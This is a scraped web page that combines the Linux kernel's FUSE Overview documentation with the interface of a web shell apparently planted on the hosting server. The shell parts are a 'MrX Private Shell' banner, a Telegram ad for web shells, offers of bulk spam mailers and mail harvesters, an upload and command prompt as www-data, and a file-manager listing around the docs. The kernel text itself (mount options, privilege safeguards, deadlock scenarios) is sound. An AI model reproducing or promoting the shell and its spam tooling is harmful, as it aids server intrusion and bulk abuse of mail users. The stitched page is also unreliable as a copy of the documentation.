__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.217.169: ~ $
<!DOCTYPE html>

<html lang="en" data-content_root="../../">
  <head>
    <meta charset="utf-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />

    <title>1. FUSE Overview &#8212; The Linux Kernel  documentation</title>
    <link rel="stylesheet" type="text/css" href="../../_static/pygments.css?v=fa44fd50" />
    <link rel="stylesheet" type="text/css" href="../../_static/alabaster.css?v=3918102e" />
    <script src="../../_static/documentation_options.js?v=5929fcd5"></script>
    <script src="../../_static/doctools.js?v=9bcbadda"></script>
    <script src="../../_static/sphinx_highlight.js?v=dc90522c"></script>
    <link rel="index" title="Index" href="../../genindex.html" />
    <link rel="search" title="Search" href="../../search.html" />
    <link rel="next" title="2. FUSE I/O Modes" href="fuse-io.html" />
    <link rel="prev" title="FUSE (Filesystem in Userspace) Technical Documentation" href="index.html" />
   
  <link rel="stylesheet" href="../../_static/custom.css" type="text/css" />
  

  
  

  </head><body>
  <div class="document">
    
      <div class="sphinxsidebar" role="navigation" aria-label="Main">
        <div class="sphinxsidebarwrapper">
            <p class="logo"><a href="../../index.html">
              <img class="logo" src="../../_static/logo.svg" alt="Logo of The Linux Kernel"/>
            </a></p>
<h1 class="logo"><a href="../../index.html">The Linux Kernel</a></h1>



<p class="blurb">6.18.50</p>







<search id="searchbox" style="display: none" role="search">
  <h3 id="searchlabel">Quick search</h3>
    <div class="searchformwrapper">
    <form class="search" action="../../search.html" method="get">
      <input type="text" name="q" aria-labelledby="searchlabel" autocomplete="off" autocorrect="off" autocapitalize="off" spellcheck="false"/>
      <input type="submit" value="Go" />
    </form>
    </div>
</search>
<script>document.getElementById('searchbox').style.display = "block"</script>


<p>
<h3 class="kernel-toc-contents">Contents</h3>
<input type="checkbox" class="kernel-toc-toggle" id = "kernel-toc-toggle" checked>
<label class="kernel-toc-title" for="kernel-toc-toggle"></label>

<div class="kerneltoc" id="kerneltoc">
<ul>
<li class="toctree-l1"><a class="reference internal" href="../../process/development-process.html">Development process</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../process/submitting-patches.html">Submitting patches</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../process/code-of-conduct.html">Code of conduct</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../maintainer/index.html">Maintainer handbook</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../process/index.html">All development-process docs</a></li>
</ul>
<ul class="current">
<li class="toctree-l1"><a class="reference internal" href="../../core-api/index.html">Core API</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../driver-api/index.html">Driver APIs</a></li>
<li class="toctree-l1 current"><a class="reference internal" href="../../subsystem-apis.html">Subsystems</a><ul class="current">
<li class="toctree-l2"><a class="reference internal" href="../../subsystem-apis.html#core-subsystems">Core subsystems</a></li>
<li class="toctree-l2"><a class="reference internal" href="../../subsystem-apis.html#human-interfaces">Human interfaces</a></li>
<li class="toctree-l2"><a class="reference internal" href="../../subsystem-apis.html#networking-interfaces">Networking interfaces</a></li>
<li class="toctree-l2 current"><a class="reference internal" href="../../subsystem-apis.html#storage-interfaces">Storage interfaces</a><ul class="current">
<li class="toctree-l3 current"><a class="reference internal" href="../index.html">Filesystems in the Linux kernel</a></li>
<li class="toctree-l3"><a class="reference internal" href="../../block/index.html">Block</a></li>
<li class="toctree-l3"><a class="reference internal" href="../../cdrom/index.html">CD-ROM</a></li>
<li class="toctree-l3"><a class="reference internal" href="../../scsi/index.html">SCSI Subsystem</a></li>
<li class="toctree-l3"><a class="reference internal" href="../../target/index.html">TCM Virtual Device</a></li>
<li class="toctree-l3"><a class="reference internal" href="../../nvme/index.html">NVMe Subsystem</a></li>
</ul>
</li>
<li class="toctree-l2"><a class="reference internal" href="../../subsystem-apis.html#other-subsystems">Other subsystems</a></li>
</ul>
</li>
<li class="toctree-l1"><a class="reference internal" href="../../locking/index.html">Locking</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../../process/license-rules.html">Licensing rules</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../doc-guide/index.html">Writing documentation</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../dev-tools/index.html">Development tools</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../dev-tools/testing-overview.html">Testing guide</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../kernel-hacking/index.html">Hacking guide</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../trace/index.html">Tracing</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../fault-injection/index.html">Fault injection</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../livepatch/index.html">Livepatching</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../rust/index.html">Rust</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../../admin-guide/index.html">Administration</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../kbuild/index.html">Build system</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../admin-guide/reporting-issues.html">Reporting issues</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../tools/index.html">Userspace tools</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../userspace-api/index.html">Userspace API</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../../firmware-guide/index.html">Firmware</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../devicetree/index.html">Firmware and Devicetree</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../../arch/index.html">CPU architectures</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../../staging/index.html">Unsorted documentation</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../../translations/index.html">Translations</a></li>
</ul>

</div>

<script type="text/javascript"> <!--
  var sbar = document.getElementsByClassName("sphinxsidebar")[0];
  let currents = document.getElementsByClassName("current")
  if (currents.length) {
    sbar.scrollTop = currents[currents.length - 1].offsetTop;
  }
  --> </script>
  <div role="note" aria-label="source link">
    <h3>This Page</h3>
    <ul class="this-page-menu">
      <li><a href="../../_sources/filesystems/fuse/fuse.rst.txt"
            rel="nofollow">Show Source</a></li>
    </ul>
   </div>
        </div>
      </div>
      <div class="documentwrapper">
        <div class="bodywrapper">
          

          <div class="body" role="main">
            
  



<section id="fuse-overview">
<h1><span class="section-number">1. </span>FUSE Overview<a class="headerlink" href="#fuse-overview" title="Link to this heading">¶</a></h1>
<section id="definitions">
<h2><span class="section-number">1.1. </span>Definitions<a class="headerlink" href="#definitions" title="Link to this heading">¶</a></h2>
<dl class="simple">
<dt>Userspace filesystem:</dt><dd><p>A filesystem in which data and metadata are provided by an ordinary
userspace process.  The filesystem can be accessed normally through
the kernel interface.</p>
</dd>
<dt>Filesystem daemon:</dt><dd><p>The process(es) providing the data and metadata of the filesystem.</p>
</dd>
<dt>Non-privileged mount (or user mount):</dt><dd><p>A userspace filesystem mounted by a non-privileged (non-root) user.
The filesystem daemon is running with the privileges of the mounting
user.  NOTE: this is not the same as mounts allowed with the “user”
option in /etc/fstab, which is not discussed here.</p>
</dd>
<dt>Filesystem connection:</dt><dd><p>A connection between the filesystem daemon and the kernel.  The
connection exists until either the daemon dies, or the filesystem is
umounted.  Note that detaching (or lazy umounting) the filesystem
does <em>not</em> break the connection, in this case it will exist until
the last reference to the filesystem is released.</p>
</dd>
<dt>Mount owner:</dt><dd><p>The user who does the mounting.</p>
</dd>
<dt>User:</dt><dd><p>The user who is performing filesystem operations.</p>
</dd>
</dl>
</section>
<section id="what-is-fuse">
<h2><span class="section-number">1.2. </span>What is FUSE?<a class="headerlink" href="#what-is-fuse" title="Link to this heading">¶</a></h2>
<p>FUSE is a userspace filesystem framework.  It consists of a kernel
module (fuse.ko), a userspace library (libfuse.*) and a mount utility
(fusermount).</p>
<p>One of the most important features of FUSE is allowing secure,
non-privileged mounts.  This opens up new possibilities for the use of
filesystems.  A good example is sshfs: a secure network filesystem
using the sftp protocol.</p>
<p>The userspace library and utilities are available from the
<a class="reference external" href="https://github.com/libfuse/">FUSE homepage:</a></p>
</section>
<section id="filesystem-type">
<h2><span class="section-number">1.3. </span>Filesystem type<a class="headerlink" href="#filesystem-type" title="Link to this heading">¶</a></h2>
<p>The filesystem type given to mount(2) can be one of the following:</p>
<blockquote>
<div><dl class="simple">
<dt>fuse</dt><dd><p>This is the usual way to mount a FUSE filesystem.  The first
argument of the mount system call may contain an arbitrary string,
which is not interpreted by the kernel.</p>
</dd>
<dt>fuseblk</dt><dd><p>The filesystem is block device based.  The first argument of the
mount system call is interpreted as the name of the device.</p>
</dd>
</dl>
</div></blockquote>
</section>
<section id="mount-options">
<h2><span class="section-number">1.4. </span>Mount options<a class="headerlink" href="#mount-options" title="Link to this heading">¶</a></h2>
<dl class="simple">
<dt>fd=N</dt><dd><p>The file descriptor to use for communication between the userspace
filesystem and the kernel.  The file descriptor must have been
obtained by opening the FUSE device (‘/dev/fuse’).</p>
</dd>
<dt>rootmode=M</dt><dd><p>The file mode of the filesystem’s root in octal representation.</p>
</dd>
<dt>user_id=N</dt><dd><p>The numeric user id of the mount owner.</p>
</dd>
<dt>group_id=N</dt><dd><p>The numeric group id of the mount owner.</p>
</dd>
<dt>default_permissions</dt><dd><p>By default FUSE doesn’t check file access permissions, the
filesystem is free to implement its access policy or leave it to
the underlying file access mechanism (e.g. in case of network
filesystems).  This option enables permission checking, restricting
access based on file mode.  It is usually useful together with the
‘allow_other’ mount option.</p>
</dd>
<dt>allow_other</dt><dd><p>This option overrides the security measure restricting file access
to the user mounting the filesystem.  This option is by default only
allowed to root, but this restriction can be removed with a
(userspace) configuration option.</p>
</dd>
<dt>max_read=N</dt><dd><p>With this option the maximum size of read operations can be set.
The default is infinite.  Note that the size of read requests is
limited anyway to 32 pages (which is 128kbyte on i386).</p>
</dd>
<dt>blksize=N</dt><dd><p>Set the block size for the filesystem.  The default is 512.  This
option is only valid for ‘fuseblk’ type mounts.</p>
</dd>
</dl>
</section>
<section id="control-filesystem">
<h2><span class="section-number">1.5. </span>Control filesystem<a class="headerlink" href="#control-filesystem" title="Link to this heading">¶</a></h2>
<p>There’s a control filesystem for FUSE, which can be mounted by:</p>
<div class="highlight-none notranslate"><div class="highlight"><pre><span></span>mount -t fusectl none /sys/fs/fuse/connections
</pre></div>
</div>
<p>Mounting it under the ‘/sys/fs/fuse/connections’ directory makes it
backwards compatible with earlier versions.</p>
<p>Under the fuse control filesystem each connection has a directory
named by a unique number.</p>
<p>For each connection the following files exist within this directory:</p>
<blockquote>
<div><dl class="simple">
<dt>waiting</dt><dd><p>The number of requests which are waiting to be transferred to
userspace or being processed by the filesystem daemon.  If there is
no filesystem activity and ‘waiting’ is non-zero, then the
filesystem is hung or deadlocked.</p>
</dd>
<dt>abort</dt><dd><p>Writing anything into this file will abort the filesystem
connection.  This means that all waiting requests will be aborted an
error returned for all aborted and new requests.</p>
</dd>
<dt>max_background</dt><dd><p>The maximum number of background requests that can be outstanding
at a time. When the number of background requests reaches this limit,
further requests will be blocked until some are completed, potentially
causing I/O operations to stall.</p>
</dd>
<dt>congestion_threshold</dt><dd><p>The threshold of background requests at which the kernel considers
the filesystem to be congested. When the number of background requests
exceeds this value, the kernel will skip asynchronous readahead
operations, reducing read-ahead optimizations but preserving essential
I/O, as well as suspending non-synchronous writeback operations
(WB_SYNC_NONE), delaying page cache flushing to the filesystem.</p>
</dd>
</dl>
</div></blockquote>
<p>Only the owner of the mount may read or write these files.</p>
<section id="interrupting-filesystem-operations">
<h3><span class="section-number">1.5.1. </span>Interrupting filesystem operations<a class="headerlink" href="#interrupting-filesystem-operations" title="Link to this heading">¶</a></h3>
<p>If a process issuing a FUSE filesystem request is interrupted, the
following will happen:</p>
<blockquote>
<div><ul class="simple">
<li><p>If the request is not yet sent to userspace AND the signal is
fatal (SIGKILL or unhandled fatal signal), then the request is
dequeued and returns immediately.</p></li>
<li><p>If the request is not yet sent to userspace AND the signal is not
fatal, then an interrupted flag is set for the request.  When
the request has been successfully transferred to userspace and
this flag is set, an INTERRUPT request is queued.</p></li>
<li><p>If the request is already sent to userspace, then an INTERRUPT
request is queued.</p></li>
</ul>
</div></blockquote>
<p>INTERRUPT requests take precedence over other requests, so the
userspace filesystem will receive queued INTERRUPTs before any others.</p>
<p>The userspace filesystem may ignore the INTERRUPT requests entirely,
or may honor them by sending a reply to the <em>original</em> request, with
the error set to EINTR.</p>
<p>It is also possible that there’s a race between processing the
original request and its INTERRUPT request.  There are two possibilities:</p>
<blockquote>
<div><ol class="arabic simple">
<li><p>The INTERRUPT request is processed before the original request is
processed</p></li>
<li><p>The INTERRUPT request is processed after the original request has
been answered</p></li>
</ol>
</div></blockquote>
<p>If the filesystem cannot find the original request, it should wait for
some timeout and/or a number of new requests to arrive, after which it
should reply to the INTERRUPT request with an EAGAIN error.  In case
1) the INTERRUPT request will be requeued.  In case 2) the INTERRUPT
reply will be ignored.</p>
</section>
</section>
<section id="aborting-a-filesystem-connection">
<h2><span class="section-number">1.6. </span>Aborting a filesystem connection<a class="headerlink" href="#aborting-a-filesystem-connection" title="Link to this heading">¶</a></h2>
<p>It is possible to get into certain situations where the filesystem is
not responding.  Reasons for this may be:</p>
<blockquote>
<div><ol class="loweralpha simple">
<li><p>Broken userspace filesystem implementation</p></li>
<li><p>Network connection down</p></li>
<li><p>Accidental deadlock</p></li>
<li><p>Malicious deadlock</p></li>
</ol>
</div></blockquote>
<p>(For more on c) and d) see later sections)</p>
<p>In either of these cases it may be useful to abort the connection to
the filesystem.  There are several ways to do this:</p>
<blockquote>
<div><ul class="simple">
<li><p>Kill the filesystem daemon.  Works in case of a) and b)</p></li>
<li><p>Kill the filesystem daemon and all users of the filesystem.  Works
in all cases except some malicious deadlocks</p></li>
<li><p>Use forced umount (umount -f).  Works in all cases but only if
filesystem is still attached (it hasn’t been lazy unmounted)</p></li>
<li><p>Abort filesystem through the FUSE control filesystem.  Most
powerful method, always works.</p></li>
</ul>
</div></blockquote>
</section>
<section id="how-do-non-privileged-mounts-work">
<h2><span class="section-number">1.7. </span>How do non-privileged mounts work?<a class="headerlink" href="#how-do-non-privileged-mounts-work" title="Link to this heading">¶</a></h2>
<p>Since the <code class="xref c c-func broken_xref docutils literal notranslate"><span class="pre">mount()</span></code> system call is a privileged operation, a helper
program (fusermount) is needed, which is installed setuid root.</p>
<p>The implication of providing non-privileged mounts is that the mount
owner must not be able to use this capability to compromise the
system.  Obvious requirements arising from this are:</p>
<blockquote>
<div><ol class="upperalpha simple">
<li><p>mount owner should not be able to get elevated privileges with the
help of the mounted filesystem</p></li>
<li><p>mount owner should not get illegitimate access to information from
other users’ and the super user’s processes</p></li>
<li><p>mount owner should not be able to induce undesired behavior in
other users’ or the super user’s processes</p></li>
</ol>
</div></blockquote>
</section>
<section id="how-are-requirements-fulfilled">
<h2><span class="section-number">1.8. </span>How are requirements fulfilled?<a class="headerlink" href="#how-are-requirements-fulfilled" title="Link to this heading">¶</a></h2>
<blockquote>
<div><ol class="upperalpha">
<li><p>The mount owner could gain elevated privileges by either:</p>
<ol class="arabic simple">
<li><p>creating a filesystem containing a device file, then opening this device</p></li>
<li><p>creating a filesystem containing a suid or sgid application, then executing this application</p></li>
</ol>
<p>The solution is not to allow opening device files and ignore
setuid and setgid bits when executing programs.  To ensure this
fusermount always adds “nosuid” and “nodev” to the mount options
for non-privileged mounts.</p>
</li>
<li><p>If another user is accessing files or directories in the
filesystem, the filesystem daemon serving requests can record the
exact sequence and timing of operations performed.  This
information is otherwise inaccessible to the mount owner, so this
counts as an information leak.</p>
<p>The solution to this problem will be presented in point 2) of C).</p>
</li>
<li><p>There are several ways in which the mount owner can induce
undesired behavior in other users’ processes, such as:</p>
<blockquote>
<div><ol class="arabic">
<li><p>mounting a filesystem over a file or directory which the mount
owner could otherwise not be able to modify (or could only
make limited modifications).</p>
<p>This is solved in fusermount, by checking the access
permissions on the mountpoint and only allowing the mount if
the mount owner can do unlimited modification (has write
access to the mountpoint, and mountpoint is not a “sticky”
directory)</p>
</li>
<li><p>Even if 1) is solved the mount owner can change the behavior
of other users’ processes.</p>
<blockquote>
<div><ol class="lowerroman simple">
<li><p>It can slow down or indefinitely delay the execution of a
filesystem operation creating a DoS against the user or the
whole system.  For example a suid application locking a
system file, and then accessing a file on the mount owner’s
filesystem could be stopped, and thus causing the system
file to be locked forever.</p></li>
<li><p>It can present files or directories of unlimited length, or
directory structures of unlimited depth, possibly causing a
system process to eat up diskspace, memory or other
resources, again causing <em>DoS</em>.</p></li>
</ol>
</div></blockquote>
<p>The solution to this as well as B) is not to allow processes
to access the filesystem, which could otherwise not be
monitored or manipulated by the mount owner.  Since if the
mount owner can ptrace a process, it can do all of the above
without using a FUSE mount, the same criteria as used in
ptrace can be used to check if a process is allowed to access
the filesystem or not.</p>
<p>Note that the <em>ptrace</em> check is not strictly necessary to
prevent C/2/i, it is enough to check if mount owner has enough
privilege to send signal to the process accessing the
filesystem, since <em>SIGSTOP</em> can be used to get a similar effect.</p>
</li>
</ol>
</div></blockquote>
</li>
</ol>
</div></blockquote>
</section>
<section id="i-think-these-limitations-are-unacceptable">
<h2><span class="section-number">1.9. </span>I think these limitations are unacceptable?<a class="headerlink" href="#i-think-these-limitations-are-unacceptable" title="Link to this heading">¶</a></h2>
<p>If a sysadmin trusts the users enough, or can ensure through other
measures, that system processes will never enter non-privileged
mounts, it can relax the last limitation in several ways:</p>
<blockquote>
<div><ul>
<li><p>With the ‘user_allow_other’ config option. If this config option is
set, the mounting user can add the ‘allow_other’ mount option which
disables the check for other users’ processes.</p>
<p>User namespaces have an unintuitive interaction with ‘allow_other’:
an unprivileged user - normally restricted from mounting with
‘allow_other’ - could do so in a user namespace where they’re
privileged. If any process could access such an ‘allow_other’ mount
this would give the mounting user the ability to manipulate
processes in user namespaces where they’re unprivileged. For this
reason ‘allow_other’ restricts access to users in the same userns
or a descendant.</p>
</li>
<li><p>With the ‘allow_sys_admin_access’ module option. If this option is
set, super user’s processes have unrestricted access to mounts
irrespective of allow_other setting or user namespace of the
mounting user.</p></li>
</ul>
</div></blockquote>
<p>Note that both of these relaxations expose the system to potential
information leak or <em>DoS</em> as described in points B and C/2/i-ii in the
preceding section.</p>
</section>
<section id="kernel-userspace-interface">
<h2><span class="section-number">1.10. </span>Kernel - userspace interface<a class="headerlink" href="#kernel-userspace-interface" title="Link to this heading">¶</a></h2>
<p>The following diagram shows how a filesystem operation (in this
example unlink) is performed in FUSE.</p>
<div class="highlight-none notranslate"><div class="highlight"><pre><span></span>|  &quot;rm /mnt/fuse/file&quot;               |  FUSE filesystem daemon
|                                    |
|                                    |  &gt;sys_read()
|                                    |    &gt;fuse_dev_read()
|                                    |      &gt;request_wait()
|                                    |        [sleep on fc-&gt;waitq]
|                                    |
|  &gt;sys_unlink()                     |
|    &gt;fuse_unlink()                  |
|      [get request from             |
|       fc-&gt;unused_list]             |
|      &gt;request_send()               |
|        [queue req on fc-&gt;pending]  |
|        [wake up fc-&gt;waitq]         |        [woken up]
|        &gt;request_wait_answer()      |
|          [sleep on req-&gt;waitq]     |
|                                    |      &lt;request_wait()
|                                    |      [remove req from fc-&gt;pending]
|                                    |      [copy req to read buffer]
|                                    |      [add req to fc-&gt;processing]
|                                    |    &lt;fuse_dev_read()
|                                    |  &lt;sys_read()
|                                    |
|                                    |  [perform unlink]
|                                    |
|                                    |  &gt;sys_write()
|                                    |    &gt;fuse_dev_write()
|                                    |      [look up req in fc-&gt;processing]
|                                    |      [remove from fc-&gt;processing]
|                                    |      [copy write buffer to req]
|          [woken up]                |      [wake up req-&gt;waitq]
|                                    |    &lt;fuse_dev_write()
|                                    |  &lt;sys_write()
|        &lt;request_wait_answer()      |
|      &lt;request_send()               |
|      [add request to               |
|       fc-&gt;unused_list]             |
|    &lt;fuse_unlink()                  |
|  &lt;sys_unlink()                     |
</pre></div>
</div>
<div class="admonition note">
<p class="admonition-title">Note</p>
<p>Everything in the description above is greatly simplified</p>
</div>
<p>There are a couple of ways in which to deadlock a FUSE filesystem.
Since we are talking about unprivileged userspace programs,
something must be done about these.</p>
<p><strong>Scenario 1 -  Simple deadlock</strong>:</p>
<div class="highlight-none notranslate"><div class="highlight"><pre><span></span>|  &quot;rm /mnt/fuse/file&quot;               |  FUSE filesystem daemon
|                                    |
|  &gt;sys_unlink(&quot;/mnt/fuse/file&quot;)     |
|    [acquire inode semaphore        |
|     for &quot;file&quot;]                    |
|    &gt;fuse_unlink()                  |
|      [sleep on req-&gt;waitq]         |
|                                    |  &lt;sys_read()
|                                    |  &gt;sys_unlink(&quot;/mnt/fuse/file&quot;)
|                                    |    [acquire inode semaphore
|                                    |     for &quot;file&quot;]
|                                    |    *DEADLOCK*
</pre></div>
</div>
<p>The solution for this is to allow the filesystem to be aborted.</p>
<p><strong>Scenario 2 - Tricky deadlock</strong></p>
<p>This one needs a carefully crafted filesystem.  It’s a variation on
the above, only the call back to the filesystem is not explicit,
but is caused by a pagefault.</p>
<div class="highlight-none notranslate"><div class="highlight"><pre><span></span>|  Kamikaze filesystem thread 1      |  Kamikaze filesystem thread 2
|                                    |
|  [fd = open(&quot;/mnt/fuse/file&quot;)]     |  [request served normally]
|  [mmap fd to &#39;addr&#39;]               |
|  [close fd]                        |  [FLUSH triggers &#39;magic&#39; flag]
|  [read a byte from addr]           |
|    &gt;do_page_fault()                |
|      [find or create page]         |
|      [lock page]                   |
|      &gt;fuse_readpage()              |
|         [queue READ request]       |
|         [sleep on req-&gt;waitq]      |
|                                    |  [read request to buffer]
|                                    |  [create reply header before addr]
|                                    |  &gt;sys_write(addr - headerlength)
|                                    |    &gt;fuse_dev_write()
|                                    |      [look up req in fc-&gt;processing]
|                                    |      [remove from fc-&gt;processing]
|                                    |      [copy write buffer to req]
|                                    |        &gt;do_page_fault()
|                                    |           [find or create page]
|                                    |           [lock page]
|                                    |           * DEADLOCK *
</pre></div>
</div>
<p>The solution is basically the same as above.</p>
<p>An additional problem is that while the write buffer is being copied
to the request, the request must not be interrupted/aborted.  This is
because the destination address of the copy may not be valid after the
request has returned.</p>
<p>This is solved with doing the copy atomically, and allowing abort
while the page(s) belonging to the write buffer are faulted with
<code class="xref c c-func broken_xref docutils literal notranslate"><span class="pre">get_user_pages()</span></code>.  The ‘req-&gt;locked’ flag indicates when the copy is
taking place, and abort is delayed until this flag is unset.</p>
</section>
</section>


          </div>
          
        </div>
      </div>
    <div class="clearer"></div>
  </div>
    <div class="footer">
      &#169;The kernel development community.
      
      |
      Powered by <a href="https://www.sphinx-doc.org/">Sphinx 8.1.3</a>
      &amp; <a href="https://alabaster.readthedocs.io">Alabaster 0.7.16</a>
      
      |
      <a href="../../_sources/filesystems/fuse/fuse.rst.txt"
          rel="nofollow">Page source</a>
    </div>

    

    
  </body>
</html>

Filemanager

Name Type Size Permission Actions
fuse-io-uring.html File 12.78 KB 0644
fuse-io.html File 10.15 KB 0644
fuse-passthrough.html File 19.4 KB 0644
fuse.html File 29.44 KB 0644
index.html File 10.66 KB 0644
Filemanager